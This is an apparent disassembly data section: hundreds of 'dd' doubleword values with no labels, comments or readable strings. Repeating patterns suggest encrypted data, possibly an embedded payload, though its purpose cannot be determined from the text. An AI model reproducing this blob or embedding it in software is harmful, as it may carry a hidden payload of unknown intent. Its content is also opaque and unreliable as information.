		dd 4B963836h, 156D033Dh, 138F4432h, 3F662232h, 0E8A2942Bh
		dd 315277B2h, 11A2C56Ch, 0FC662232h, 15661135h,	52179229h
		dd 9602C592h, 57AB78Fh,	91691034h, 156688C9h, 14EC4BC7h
		dd 0EC662232h, 1FF9C09h, 91698E22h, 156644D5h, 0E2D12D52h
		dd 6E36C2B3h, 2E07C7D6h, 546A1BFh, 0C5E22D34h, 0FC661132h
		dd 15668826h, 6C1B55A5h, 0C3258C6Eh, 4DD73BDBh,	0C75F2A0Dh
		dd 38191E22h, 3B07AF09h, 91691722h, 15668899h, 3CFBC9CBh
		dd 1A603A36h, 156600BFh, 156A6132h, 0C4924432h,	25DB2D45h
		dd 7AC2B5F9h, 0C699795Fh, 1568CD3Dh, 1C8F2232h,	0F2661132h
		dd 610C253Dh, 307667B9h, 3162A362h, 27FD010Ch, 0D3DBDD6Dh
		dd 94268C71h, 44665BF7h, 0AD939038h, 0C471C376h, 94BBB3D7h
		dd 0F01AE3F7h, 9893902Dh, 3C335259h, 1B8F19DDh,	57662232h
		dd 0EA98E2Ah, 0D240FDF3h, 8A71B03Fh, 84E3AB46h,	1A600113h
		dd 156689BDh, 358FBD32h, 1A662212h, 15660FB7h, 0DEB8732h
		dd 0FC664432h, 15662221h, 0E9177060h, 55D19C16h, 0B3293689h
		dd 6E24A87Dh, 9885CB5Dh, 0D62A1AFh, 0C699BC34h,	156636DBh
		dd 5BD0C332h, 8CEEC120h, 40A500B7h, 0A51B9C96h,	0C053780Fh
		dd 80DB0B25h, 1560542Eh, 153FA63Dh, 188F1132h, 74668832h
		dd 33C170BDh, 40BDDF53h, 0E996543Eh, 3CE3B3CBh,	1A60543Dh
		dd 15660AB6h, 0A5D57132h, 15668EDBh, 0DA4DC732h, 7489D8C5h
		dd 0F039409h, 90698E22h, 1566442Dh, 1561A73Dh, 9C691132h
		dd 15668833h, 0EBBDADC7h, 1A06DDCDh, 156614B5h,	28E43032h
		dd 2E0763AEh, 57263B7h,	7FE31E34h, 1A668832h, 156650BCh
		dd 1569CB32h, 0F9B61132h, 0A6BA126Dh, 0C8CE4C79h, 0FA7F069Dh
		dd 1CDB920Bh, 15609810h, 1579C03Dh, 96692232h, 15661133h
		dd 10DB0BC7h, 15605439h, 1549A63Dh, 94061132h, 767B26E9h
		dd 0EDD94B0Ah, 97E3AF53h, 7560064Dh, 4DCB3054h,	74B8CF54h
		dd 0EA984ADBh, 156DF8CDh
		dd 32CC8832h, 0C91FB9EDh, 9C0C226Ah, 54E32A9Bh,	1A609826h
		dd 0EA9808B6h, 156BCBCDh, 0F81D1132h, 8619E804h, 6D2BAC42h
		dd 96C48FC5h, 2C32B8Fh,	90698934h, 1566440Ah, 156636DBh
		dd 0B25CBC32h, 8AF7AFAEh, 0E42A0CFCh, 0D98258E1h, 7F98532Dh
		dd 7BE3B355h, 1A605397h, 156631B7h, 90EBE932h, 153F83D6h
		dd 0EB48ADC7h, 0ED06DDCDh, 74FFCAB2h, 96697703h, 15664433h
		dd 78DBA1CAh, 15600102h, 4770C3Dh, 0AE064432h, 482BF09h
		dd 2E071384h, 2C3D2B7h,	57E34B34h, 0ED662232h, 71794B9h
		dd 18F8E22h, 77664432h,	9262A893h, 5BEFD850h, 609CED11h
		dd 555D9133h, 47D6C5ADh, 0B9450388h, 0C840963h,	0D42AA351h
		dd 0DFE727D8h, 20FB2B76h, 0D1C57AB3h, 0C24F8C50h, 6ED44268h
		dd 77E32A53h, 1A609F97h, 156672B7h, 19E12D32h, 1A661132h
		dd 15668EB7h, 15EF4B32h, 9E662232h, 54C70B7h, 0AD9E834h
		dd 7501585Bh, 75B0953Dh, 43077053h, 0DE09118Ch,	7390C566h
		dd 3CCD16A2h, 2E934FC5h, 2C3D6B7h, 2BE34B34h, 75662232h
		dd 15661FDAh, 0CB733432h, 0B19830DDh, 0D6D4D41Bh, 75552559h
		dd 0FDE7D753h, 5410F8EFh, 90EDD753h, 1376323Fh,	156682DBh
		dd 6F774E32h, 79A1ADB8h, 42825108h, 544284B5h, 4A4248B5h
		dd 73E319CBh, 1A600697h, 1566BFB7h, 90EDBD32h, 13762BCFh
		dd 156616DBh, 0FB24A732h, 4179812h, 15679C64h, 0E2671132h
		dd 1DE5876Ch, 1A664432h, 156620B9h, 1A077132h, 15668FB8h
		dd 0D1E62432h, 74B1A9E5h, 0B00C9409h, 90698E25h, 15664405h
		dd 0F4E3A9CAh, 0FC60012Fh, 15668823h, 183C62Dh,	3D9B7EA4h
		dd 0A8009394h, 56BF0FF3h, 0EADF1599h, 3C99DDCDh, 198F48FDh
		dd 75668832h, 0F8378884h, 0A6F83496h, 2E51CFDFh, 2C3E6B7h
		dd 7FE34B34h, 0EC662232h, 82B94B9h, 0FC068E22h,	1566443Dh
		dd 0F687D056h, 4188DFDFh, 6E131C4Ah, 0A03AE6FAh, 48F43CDh
		dd 5661132h, 519A9986h,	957AB7AAh, 6F811B63h, 0CF4A1EB2h
		dd 0EA993361h, 0CA4FBBCDh, 188F4269h, 32661132h, 0E170E0Fh
		dd 0C85FF361h, 0A2E8584h, 15749F3Dh, 198E8832h,	46664432h
		dd 932B9421h, 1091D133h, 4BF1B113h, 67E37F53h, 1A603597h
		dd 15662DB7h, 90ED7432h, 1376416Fh, 1576AC3Dh, 1E8F1132h
		dd 0DD668832h, 0CCA647D5h, 0E7720394h, 0C2E15603h, 4A34DF70h
		dd 1575AD68h, 0BE7E2232h, 13269DA2h, 0C5B1411Ah, 0EBB65851h
		dd 3CF0F9DAh, 63E32A92h, 1A609F97h, 15667BB7h, 96694232h
		dd 15661130h, 0FCE659B8h, 90ED2501h, 13762AA7h,	156602DBh
		dd 16C20032h, 92B8791Dh, 5B1C7F9Eh, 57F560BCh, 0DD528AD8h
		dd 1567FA64h, 0E2672232h, 1560F86Ch, 0B3518832h, 9307C5D5h
		dd 0B01CA709h, 90691725h, 15668864h, 156ECB3Dh,	9A692232h
		dd 15661130h, 90EDE952h, 13765CF7h, 156EA13Dh, 92691132h
		dd 15668830h, 94062552h, 784576C3h, 0EBD91E5Ah,	0E1DFD953h
		dd 944C605Dh, 0B31A1C3h, 0F4A7505Fh, 94B77F36h,	491E3AC3h
		dd 4CA923BEh, 15619E3Dh, 9E068832h, 0CCED22F8h,	905DD753h
		dd 1371B44Ch, 15510D3Dh, 78F4432h, 0D2662232h, 77C55688h
		dd 35A09ABFh, 2EEFB876h, 0BD583436h, 10E39A91h,	0ED60982Ch
		dd 1567FE60h, 0C2672232h, 156DF868h, 0A8208832h, 0B8362E53h
		dd 51096727h, 93E32A5Fh, 1A609F97h, 156672B7h, 19E92D32h
		dd 1A661132h, 15668EB1h, 15E34B32h, 9E662232h, 5682CB7h
		dd 18EB8734h, 75664432h, 60A1A354h, 15E81E5Ah, 74668832h
		dd 0EA99FD63h, 0DA4FDDCDh, 2E07716Bh, 2C30AB7h,	7DE34B34h
		dd 0FC662232h, 1566113Dh, 0D1EF075Eh, 0A8A1D233h, 71A07C8Ah
		dd 0FC6560ACh, 15668837h, 31E84FA2h, 0D4DBA1FCh, 15600123h
		dd 155B0D3Dh, 1C8F4432h, 79662232h, 0AA158673h,	50B06F97h
		dd 156657DBh, 5E67B132h, 10787F44h, 0E2B41E60h,	71A94615h
		dd 0D5A72E23h, 240B94B9h, 439A8E22h, 0EA99BB8Ch, 4B910BCDh
		dd 15679B3Dh, 969E8832h, 561058Fh, 91692234h, 1566117Bh
		dd 1BE3B3CAh, 1A605394h, 15661EB7h, 1569F832h, 1A5D8832h
		dd 5448CF83h, 0F52001F3h, 0DDFDA30Ch, 0CE30370h, 0FC605410h
		dd 15662220h, 0EBEEE944h, 0F2A69962h, 0A7E110B9h, 454C4CF8h
		dd 0F9E57CDFh, 315A0136h, 4A4240CDh, 0BCDBA1CEh, 15600100h
		dd 176A0C3Dh, 969A4432h, 57FC78Fh, 91691134h, 156689CCh
		dd 81BFC452h, 1566AF3Dh, 2E071132h, 2C37AB7h, 4DE34B34h
		dd 1A662232h, 156610BDh, 9E9F7432h, 56CEDB7h, 1563CB34h
		dd 0A7A1132h, 408477A0h, 0EA99BB8Fh, 48890BCDh,	157A9A3Dh
		dd 73068832h, 0FDC52F89h, 15662222h, 9D2BE953h,	18610B8Fh
		dd 0B6C83886h, 0E1472409h, 58F7069h, 3D668832h,	0B1238C56h
		dd 7A5ABE5Ch, 5B13E8E7h, 2EC0DEA5h, 2C046B7h, 54E32D34h
		dd 1A661132h, 156689BEh, 9E9FBC32h, 54507B7h, 1568F834h
		dd 18BC8832h, 571E06FBh, 21920EA3h, 5F7CFB38h, 15673260h
		dd 0C2674432h, 1574CB68h, 0B34E1132h, 0D4DBEEB0h, 0BE259DB5h
		dd 0FC2182EFh, 6C54439Bh, 0B0900D09h, 90694225h, 1566221Eh
		dd 15679E3Dh, 9E9A8832h, 56E81B7h, 1AE12D34h, 0FC661132h
		dd 15668838h, 7FEB8E79h, 0EDADA666h, 0AD36C7B5h, 0EA9977CDh
		dd 0EC3E831Bh, 0B360A709h, 90691725h, 1566881Bh, 1CE3CFCBh
		dd 0FC603230h, 15661134h, 0D85C1BDBh, 0AE35A941h, 15662233h
		dd 0FC3DCE33h, 1566883Bh, 16F2DAA3h, 4859DBEDh,	1FE32A29h
		dd 1A609F94h, 15660EB7h, 1563CB32h, 6E9D1132h, 9EBBE934h
		dd 5785DB7h, 1575CB34h,	0C6E61132h, 79D80D29h, 0D651A0B1h
		dd 44B8DD6Ch, 0DC0B663Dh, 14DED8D0h, 14664432h,	18F7AF5h
		dd 0CA661132h, 0C70FC8A7h, 0C5536692h, 0FF292483h, 0B0E2AF5Fh
		dd 2EAF216Ch, 2C3BEB7h,	5FE32D34h, 1A661132h, 156682B8h
		dd 0F4EC2432h, 0C2E1C3B3h, 9E077044h, 54731B7h,	9E002434h
		dd 15E02DC5h, 74661132h, 7406DB52h, 74ACCF68h, 0EA999A62h
		dd 0D24FEECDh, 7ED876Ah, 75664432h, 156628DAh, 0A64C3232h
		dd 0F4EF1A8Bh, 4BEB4D7Ah, 0EBE31953h, 1A600697h, 156695B7h
		dd 90EDBD32h, 13760B03h, 73A09B52h, 0BF3359B3h,	14DC1653h
		dd 14662232h, 0EC064BE5h, 0A8E5E9CBh, 13765DD7h, 0DDE22D32h
		dd 1A661138h, 156689BDh, 905DB832h, 137187B8h, 153C943Dh
		dd 48F8832h, 6D664432h,	0B485575Eh, 3E2548CBh, 81C5A93Dh
		dd 3ED9FD04h, 2613A7B9h, 94691722h, 1566882Fh, 1571C73Dh
		dd 78F2232h, 53661132h,	0CBC726D8h, 3F68B3F1h, 0E2C79B42h
		dd 5CAF331Eh, 0EADFD9E7h, 3C99BBCDh, 188F7BFDh,	24661132h
		dd 85AACF7Fh, 0BFA4C115h, 1B649619h, 0B3789409h, 90698E25h
		dd 15664418h, 49E19C52h, 9E005845h, 90EDE9F9h, 13765AB7h
		dd 1561CB52h, 5BA71132h, 36C12FD9h, 4207B17Eh, 9E4226CDh
		dd 0D1E5350Eh, 905D7036h, 1371E1BCh, 155DA73Dh,	9E9E1132h
		dd 557C1B7h, 1568AD34h,	96992232h, 3862B9FBh, 171FB3Dh
		dd 756B3FEAh, 314AA165h, 0ED064ECDh, 15776162h,	0B85B4432h
		dd 561A9592h, 0D904A12Eh, 9DCD26Fh, 4E6365ABh, 87E31953h
		dd 1A600697h, 1566C5B7h, 4E74B32h, 0FC662232h, 1566113Eh
		dd 0D0A1A68Bh, 0DE08E939h, 0F1DF2FF8h, 341B94B9h, 9F698E22h
		dd 15664423h, 15662EDBh, 0BE4D2E32h, 0CA44BA57h, 0BEC2F4BCh
		dd 0EADB779Eh, 3C99EECDh
		dd 9E69D5DDh, 1566443Bh, 73309652h, 0A24CC8B3h,	905D7053h
		dd 1371E1A4h, 155BA73Dh, 9D691132h, 15668821h, 15664ADBh
		dd 8762D532h, 2E943714h, 0B1AE35A5h, 9EEEC071h,	57D5FB7h
		dd 4793E434h, 0EA997788h, 4FB16DCDh, 15662CDBh,	95CAED32h
		dd 0C8922B73h, 0D3487231h, 2EE5CE06h, 2C38BB7h,	53E38734h
		dd 1A664432h, 156632B3h, 156DF832h, 0D0C88832h,	0B7737CCEh
		dd 7DD05695h, 0D4DB9242h, 15609823h, 1545C13Dh,	9E9E2232h
		dd 56B84B7h, 55F17434h,	4D391465h, 156632DBh, 106E0F32h
		dd 0DBB35A2Eh, 0AF9D3554h, 24D7D7E1h, 8BE32AF6h, 1A609F97h
		dd 156607B7h, 0E72D32h,	0FC661132h, 15668822h, 8DB1059Eh
		dd 0BFAA837Eh, 0AAE313C7h, 73247FB5h, 19FBC1B9h, 1A062422h
		dd 156614BBh, 0CCE7EE32h, 9E360C31h, 460778CBh,	15661089h
		dd 4EB98932h, 14EC4BCAh, 0E9662232h, 0B0C49409h, 90698E25h
		dd 156644AFh, 156629DBh, 0E2A29632h, 0E7ABDBEBh, 0C5CBA9A2h
		dd 1575AD3Dh, 73061132h, 72C869B3h, 156643DBh, 0B6157932h
		dd 0F279C6DCh, 0D4DB0B53h, 15605423h, 1501A73Dh, 0AA061132h
		dd 3DE6EAAh, 1572AD64h,	85F62232h, 2ED65AC9h, 2D90F76Fh
		dd 0B3EC3F4Dh, 9942D6AEh, 743EF306h, 132B0DB9h,	73064222h
		dd 0D3F9FBB3h, 0D6D84753h, 9458732Dh, 0C626ABDCh, 0D4B0D57Fh
		dd 0D3E714DCh, 0EAEFB6C4h, 1A38B31Bh, 15663ABDh, 7E11E32h
		dd 0FC668832h, 1566443Fh, 0B8B44608h, 9F03E23Dh, 2F7D9AD2h
		dd 0B3E37F37h, 1A603597h, 156659B7h, 156C6132h,	50154432h
		dd 17BCCE0Fh, 314011F6h, 3CA70DB9h, 94694222h, 1566222Ah
		dd 156602DBh, 6D0CD132h, 470442E8h, 0F280ACCFh,	0F81D6973h
		dd 8619E804h, 1567FA64h, 0E2672232h, 1561F86Ch,	0A3228832h
		dd 1476FB0Ah, 0BFE31918h, 1A600697h, 1566B4B7h,	19EA4B32h
		dd 0FC662232h, 15661135h, 15BB4375h, 75A7BD4Bh,	1AAF9D3Dh
		dd 9E07CE85h, 56921B7h,	0AB30B834h, 0EA99DDCDh,	1A38E61Bh
		dd 156684BFh, 13EF4B32h, 1A662232h, 156611BAh, 0A7E3B332h
		dd 1A605397h, 1566A1B7h, 92697132h, 15668830h, 1E8F1B62h
		dd 10662232h, 9DB16038h, 8BBEC975h, 96070F2Fh, 577E38Fh
		dd 90691134h, 1566886Eh, 1561C23Dh, 9C692232h, 15661133h
		dd 0D0E303CBh, 0ED605415h, 466C9A62h, 0AC5349F4h, 0D44C073Ch
		dd 0EA534CD2h, 3CD0807Eh, 940649F5h, 0B35AD1D5h, 1E8F243Fh
		dd 5B662232h, 988EA130h, 2D1A56A2h, 740737A7h, 156631DBh
		dd 1124C32h, 25FFE575h,	3D931CA5h, 0B963FA5Ch, 0D1D28469h
		dd 0B0C80D09h, 90694225h, 1566220Dh, 1567933Dh,	969A8832h
		dd 577858Fh, 90692234h,	15661119h, 1CE303CBh, 75605412h
		dd 1566AE3Dh, 1D8E1132h, 98668832h, 6E05B9CBh, 73509DDCh
		dd 4B3C408Ah, 14DED853h, 14664432h, 2E937AF5h, 2C3A7B7h
		dd 25E38734h, 0E0664432h, 0BC7A7B9h, 9D691722h,	15668836h
		dd 74072452h, 6DA59F67h, 0E0E72A13h, 0D1B80F0Eh, 1A3BAB1Bh
		dd 156628B4h, 9B697132h, 15668832h, 2E079CB9h, 2C398B7h
		dd 50E31E34h, 0FC668832h, 1566443Fh, 5A442072h,	86945F64h
		dd 0F6774DE7h, 156FADEFh, 0B8872232h, 59C0EB2Eh, 9EB90F25h
		dd 56BE1B7h, 0AA694234h, 0F7E777C5h, 4607D47Bh,	15664589h
		dd 4EB92332h, 156616DBh, 754AF532h, 0AFE050E7h,	0B0D8A709h
		dd 90691725h, 15668869h, 156ECA3Dh, 93692232h, 15661130h
		dd 90EDE952h, 13765FA3h, 156BCB52h, 0EFA91132h,	4074AAA5h
		dd 3333514Fh, 944A6915h, 56ECFDC3h, 150EE964h, 9C664413h
		dd 1199060Eh, 90694E16h, 15668829h, 1573C73Dh, 58F2232h
		dd 2D661132h, 9139F68h,	56724450h, 7AEE906h, 2E9D5941h
		dd 2C34AB7h, 31E34B34h,	0E0662232h, 1B5794B9h, 449A8E22h
		dd 0EA99BB8Bh, 4CA90BCDh, 15661FDBh, 30012932h,	19AD1C9Fh
		dd 4B1E8CD1h, 2E703F34h, 2C34EB7h, 5DE34B34h, 1A662232h
		dd 156616B1h, 4A37E832h, 74059EB2h, 110BA7B9h, 1D8F1722h
		dd 0F668832h, 0A1A5912Bh, 421D5628h, 9E4215CDh,	0D1E5AC0Eh
		dd 1EEC4B36h, 0FC662232h, 15661134h, 8365F5D1h,	0FC065D73h
		dd 15662234h, 0AB927FDEh, 2E07767Fh, 2C38EB7h, 49E32D34h
		dd 0FC661132h, 15668823h, 3DDB73BCh, 619D1954h,	386BE788h
		dd 0EB64CC8Ch, 0CCE3CF18h, 1A60321Fh, 15661CB9h, 9469E832h
		dd 15664432h, 0C5270F88h, 9F697076h, 15668833h,	0EADD17CEh
		dd 3C99DDCDh, 0FD064AEDh, 15668834h, 958DF5DDh,	138EAB64h
		dd 0BC661132h, 11F9AFD8h, 1A3C1CC8h, 2E07E48Dh,	2C3DFB7h
		dd 3BE38734h, 0E0664432h, 9BFA7B9h, 188F1722h, 0E4668832h
		dd 926538C5h, 0EA8E1049h, 56B3884Ah, 9AE3062h, 6863058Ch
		dd 5D3DF919h, 73D1AA37h, 4DA1A150h, 0C7E37FCEh,	1A603597h
		dd 15669BB7h, 18EE832h,	0EB664432h, 369A74BFh, 6DB65721h
		dd 0A351E952h, 0BEEF48EBh, 4AC46561h, 0D2D11E52h, 156687DBh
		dd 0A2208432h, 3EF60260h, 80287288h, 0C2F6D1Bh,	90ED2553h
		dd 137634AFh, 1569F952h, 45898832h, 887F96CAh, 18299DCFh
		dd 0AC079BDEh, 60F83632h, 753E2856h, 1566A93Dh,	9E001132h
		dd 4607E9CCh, 0EA99BB89h, 4EB90BCDh, 7EB1E52h, 0FC668832h
		dd 1566443Fh, 0B161BC2h, 480E0825h, 0F73200ACh,	0B395FDA5h
		dd 2E075F67h, 56B78B7h,	79E38734h, 0FC664432h, 15662221h
		dd 6BD97756h, 6BE7B23Dh, 3CACE6Bh, 55894884h, 0FCD89171h
		dd 1566883Ah, 0C8A777BAh, 596AA4BCh, 0E6B94B9h,	91698E22h
		dd 15664426h, 97DC4452h, 156FF8F2h, 57538832h, 2221CA9Eh
		dd 741B747Eh, 1567AC67h, 0FA678832h, 0DE84B6Fh,	75662232h
		dd 156601DBh, 8B96BF32h, 49A79497h, 27040424h, 0B2278D5Bh
		dd 2E07709Fh, 2C392B7h,	20E32D34h, 0EC661132h, 0BA70DB9h
		dd 188F4222h, 0A6662232h, 0BF65A045h, 5B934650h, 0FE044D25h
		dd 14DC70CBh, 14661132h, 9569D2E5h, 1566443Eh, 1560A43Dh
		dd 93691132h, 15668832h, 0B374C109h, 90692425h,	156611A7h
		dd 0CCE7EE52h, 0ECED251Fh, 156FCB53h, 0BD0B1132h, 0E194A1FAh
		dd 96224510h, 2C0388Fh,	90691134h, 15668813h, 0A8E5B1CBh
		dd 13763EA7h, 77E21E32h, 0FC668832h, 1566443Fh,	0C5272D79h
		dd 3870849Fh, 0B9AF976Bh, 38E3CF6Dh, 0FC60323Ah, 15661120h
		dd 24A91DAEh, 63D80B28h, 0D79AC569h, 0E753E589h, 1A06FD1Ah
		dd 15664FB6h, 1563CA32h, 0B5021132h, 4B7D26F6h,	86B1C464h
		dd 9231436Bh, 9227353Eh, 1A39AC3Eh, 156648B1h, 93694232h
		dd 15661132h, 0D41C3154h, 3E37F53h, 1A603594h, 156692B7h
		dd 15636132h, 4E904432h, 9615ED55h, 2C00B8Fh, 90698834h
		dd 15664470h, 156AA33Dh, 95691132h, 15668834h, 1566C63Dh
		dd 0A8E52232h, 13760DA7h, 58E28732h, 0FC664432h, 15662226h
		dd 0ADD40C7Dh, 4B10731Fh, 86F26AC6h, 8F660A05h,	1C5DAD95h
		dd 0E3E7EE52h, 0AA69A4F4h, 90ED43E8h, 13760DE3h, 0DBEDEE52h
		dd 74A4CF54h, 15679B63h, 0DA671132h, 1568616Bh,	0CC6A4432h
		dd 0EFF93F38h, 2F040F5h, 97AED313h, 0B0BCC109h,	90692425h
		dd 15661162h, 8E303C7h,	7560541Fh, 156633DBh, 51E79132h
		dd 0BC8D9BDh, 0F55628F7h, 0FEB5B24Ah, 0CCE6FA18h, 0AE35E980h
		dd 0EA99BBCDh, 0FC3DFD1Bh, 1566113Ah, 36259917h, 0C80BE7BAh
		dd 156631DBh, 0E42A5932h
		dd 0D982F2E1h, 7F98062Dh, 1CE68655h, 22F4D687h,	0B0B80D09h
		dd 90694225h, 1566227Dh, 1569F8CBh, 2CED8832h, 0F3CFA17Bh
		dd 0DC0ED7AAh, 0E7930B25h, 10E303DAh, 0ED605411h, 6E449B63h
		dd 0CC917C8Bh, 5FE149B3h, 0D4E75E81h, 466012A8h, 1A3FDE1Bh
		dd 15669EB1h, 1577AD32h, 7AB72232h, 25866962h, 0DBF02E06h
		dd 3D74A3D3h, 2E3541A7h, 2C3F3B7h, 61E38734h, 75664432h
		dd 156636DAh, 4A323232h, 0BD564C00h, 3ED29627h,	7AE70F7Ch
		dd 0C9F43BB2h, 0C1DFEE79h, 128E1C0Bh, 92662232h, 0D89F2CF2h
		dd 0AA006582h, 74395BEFh, 35AFA7B9h, 48F1722h, 96668832h
		dd 0CE340CB6h, 13CE8982h, 0D41693F2h, 91499CCEh, 7EC2FF61h
		dd 0D6E76233h, 143C7127h, 212E4BB3h, 0CA67FA96h, 156BCB69h
		dd 0CD931132h, 10079640h, 6D9E0259h, 2E6F88CAh,	2C3F7B7h
		dd 0DE38734h, 0EC664432h, 1ADBA7B9h, 108F1722h,	99668832h
		dd 2DB125B2h, 314AA165h, 2E9E4ECDh, 2C362B7h, 56E34B34h
		dd 0FC662232h, 15661137h, 0F0561FEAh, 40E3CFA8h, 0E0603213h
		dd 1567AC67h, 0FA678832h, 0AF00246Fh, 58E377Dh,	0EA661132h
		dd 6782E8A7h, 8916C380h, 0EF19BACh, 0FC12367Bh,	1566883Ah
		dd 2763FACEh, 7D288E30h, 905D706Ch, 13712DDCh, 154BC13Dh
		dd 9E9E2232h, 55564B7h,	19EA8734h, 1A664432h, 156624B7h
		dd 15E31E32h, 45668832h, 1566458Ah, 4DA12332h, 0EFED7752h
		dd 82CA43B3h, 1E072440h, 3EE22DCDh, 75661132h, 0EF880954h
		dd 0CBD14B50h, 0F98CCB53h, 0FC06EECDh, 1566883Fh, 18116BEFh
		dd 0B8EF1496h, 7F6A3546h, 17E0876Fh, 75664432h,	905D4353h
		dd 137610F7h, 15470D3Dh, 98694432h, 1566223Ah, 1564983Dh
		dd 74068832h, 2BE3C9CBh, 0E9603575h, 0EA8AB6DBh, 7506E8CDh
		dd 2E072553h, 5669FB7h,	7EE31E34h, 0ED668832h, 15664DDBh
		dd 0BC03D232h, 7831BB54h, 0A8E5B69Bh, 1371E108h, 5AE32D33h
		dd 75661132h, 55456B3h,	58F1507h, 0F0662232h, 95AA4671h
		dd 2543093h, 0F1F70E2Fh, 74CFF8AFh, 156602DBh, 0A9F63332h
		dd 0B46E9E40h, 48EBAD02h, 4DE71D63h, 574FF01Dh,	1E01C1BFh
		dd 1C8F226Bh, 19661132h, 14005688h, 8D133F92h, 0EA8A09DBh
		dd 905DEDCDh, 13712D78h, 1541C03Dh, 1B8F2232h, 8A661132h
		dd 0CB84CDA4h, 0DBDD686Ch, 0D984515Eh, 5BE32AEFh, 1A609F97h
		dd 156606B7h, 17E82D32h, 75661132h, 0FE946153h,	198FBBCDh
		dd 0A2662232h, 1169E4Fh, 957650C1h, 1AB45AF7h, 15663CB2h
		dd 48F7132h, 0BE668832h, 0DAC69116h, 35022220h,	0F3364C80h
		dd 928BFAB3h, 1566CB3Dh, 7D072232h, 15661132h, 9642BCB9h
		dd 730640F6h, 9B69EAB9h, 15661130h, 9607E952h, 906945CCh
		dd 156622D6h, 15779B3Dh, 198F8832h, 5D664432h, 0D057C28Dh
		dd 7D1602C7h, 2E4C2348h, 2C37AB7h, 4CE32D34h, 75661132h
		dd 0C8B50954h, 1B8F12B1h, 8E662232h, 2DF4DF3Bh,	0B58D1969h
		dd 1148E037h, 98077DE9h, 4DE1D5B7h, 15756132h, 1BC74432h
		dd 44A6E91Eh, 88D738CBh, 6E0BE1F7h, 0FF1102B2h,	0FE5CCB57h
		dd 0FC06EECDh, 15668839h, 5B79ECC8h, 155EC32Bh,	467EFF38h
		dd 1DB36AB3h, 743C63FFh, 0B024A709h, 90691725h,	15668816h
		dd 2FE3C9CEh, 0E9667ABAh, 0EA8D16DBh, 81D9E8CDh, 9445F21Ah
		dd 15E3AFC3h, 73067021h, 0D7D979B9h, 744A037Ah,	0B020A709h
		dd 90691725h, 1566881Eh, 156EC63Dh, 9A692232h, 15661130h
		dd 90EBE952h, 153ECC4Dh, 156AA33Dh, 9B691132h, 15668834h
		dd 1566C63Dh, 0AC8F2232h, 0E099EED8h, 43A00164h, 1A8F1A6Ah
		dd 62662232h, 0A7BFB59Ch, 88099C8Eh, 38259F51h,	0C5D85D56h
		dd 942C7877h, 0EA9977F4h, 26A0C5CDh, 1AD3B488h,	156616BBh
		dd 14E18732h, 0E9664432h, 9069D439h, 1566111Bh,	749F7052h
		dd 0EA8C78DBh, 0FE82DCDh, 75661132h, 0FC983F3Dh, 15664422h
		dd 8578ADEh, 38D84546h,	3EDD183h, 0E677F1B9h, 37B64A53h
		dd 11EF1132h, 9269D616h, 15664433h, 0F0D3ABC7h,	1A60011Fh
		dd 156681B6h, 74062432h, 0F657738Dh, 0A0EF7077h, 137682A3h
		dd 0D5E72252h, 68F6B50h, 7D661132h, 0CAF4B73Ah,	0ACE8428Ch
		dd 86567795h, 0E212E721h, 9507D4BBh, 9069AD0Ch,	156622EDh
		dd 156D973Dh, 138F8832h, 0FB664432h, 28CF6877h,	1410EEDAh
		dd 9442B4B9h, 156640F6h, 12E52D32h, 1A661132h, 156689B1h
		dd 0FAE7BC32h, 2A23255Bh, 17B2D6B3h, 0E26784A5h, 17B2ABB3h
		dd 0D2E72EA5h, 2A23165Bh, 156A033Dh, 128F4432h,	95662232h
		dd 61328B55h, 4631447Fh, 0CAEFB7BBh, 4A9DAB69h,	1560F852h
		dd 0B0888832h, 1ADC7B92h, 74A8F0B2h, 152FEE5Ah,	316A0132h
		dd 0DC59878Bh, 57A7A307h, 941B344Eh, 921C3BF3h,	5DA7C504h
		dd 1470A83Bh, 58F48F9h,	43668832h, 0D0D72520h, 320A6047h
		dd 8341DA13h, 2E540CAFh, 54BA18Fh, 35E42D34h, 0FC661132h
		dd 15668820h, 8A7F30C2h, 0EDF9C9F4h, 7EBD1A59h,	2413227Eh
		dd 0EE5D3172h, 156BA43Dh, 0FC9A1132h, 0EA9960C3h, 1567CA3Dh
		dd 9E9A2232h, 56C348Fh,	0E68734h, 0FC664432h, 15662222h
		dd 0E6387E0Dh, 3B6186B8h, 0DCA657B7h, 42A74F0Dh, 3D3B94F5h
		dd 15668E22h, 95064432h, 7507AAD1h, 0E4ED7752h,	156681DBh
		dd 0D6799732h, 1066DB34h, 9C076CF6h, 56C1987h, 18E2434h
		dd 3D662232h, 56A2728Ah, 729F7FD6h, 7B7F81BFh, 403A8CCDh
		dd 1A7317D5h, 156688B0h, 96691D32h, 15662234h, 1566923Dh
		dd 98078832h, 0D4E84AFh, 94004234h, 748922C2h, 1A065BCDh
		dd 188F838Dh, 7F662232h, 8EC6F0C3h, 2B2457F4h, 0F68F750Eh
		dd 1AA62953h, 156639B6h, 156D6132h, 0C5834432h,	4DA716B3h
		dd 57DEC05Dh, 15E16163h, 1A064432h, 156624B7h, 15EC1E32h
		dd 73668832h, 81C4A6B3h, 24FBAF53h, 0FC6004A8h,	1566883Ch
		dd 0CA9F7BC7h, 0C12187EDh, 0D221CF4Fh, 0C69992A6h, 0EA33C73Dh
		dd 0EC06DDCDh, 74F6DDB2h, 1567073Dh, 9E9A4432h,	56CB387h
		dd 0A0EFE834h, 1376A06Fh, 15664CDBh, 6399A432h,	63EA6FD8h
		dd 0D8FB051Bh, 0FC60529Ch, 15662226h, 0E968E0F3h, 0ECB5F689h
		dd 20C832B9h, 2902AE46h, 0B4636625h, 138F5BCDh,	11664432h
		dd 38A53E16h, 0F0E39AD6h, 0FC60981Fh, 15664438h, 603BABB4h
		dd 0A440A6F8h, 90EF81AEh, 13764EA3h, 1D8E4252h,	0B9661132h
		dd 85830E5Bh, 4E4EBE94h, 156632DBh, 3A96BF32h, 0FA2E1F12h
		dd 0C533830Ch, 853B50A3h, 740770FCh, 15669BDBh,	45290832h
		dd 5B5E0DAAh, 633736EEh, 7A217E16h, 55CDECC4h, 1A8E1CB2h
		dd 1566F8B7h, 0F4D3E832h, 9607A783h, 549DF8Fh, 91691134h
		dd 156688E4h, 18D82452h, 7566A3A8h, 96077053h, 19EF8CDEh
		dd 0A541F516h, 4CAE22F0h, 156619DBh, 106A1D32h,	0AE8FFD5Ah
		dd 30EF2D67h, 75661132h, 156683DBh, 0CA661732h,	0BA31EE2Eh
		dd 0E819BBACh, 156686DBh, 0EC55E432h, 2046FF19h, 0C3C0E564h
		dd 74B89304h, 1575AD98h, 6C812232h, 0E5C50CF4h,	0D9CC05B8h
		dd 0DC828957h, 0F4A72DF9h, 21DF79A2h, 21EF8832h, 1D8F1C16h
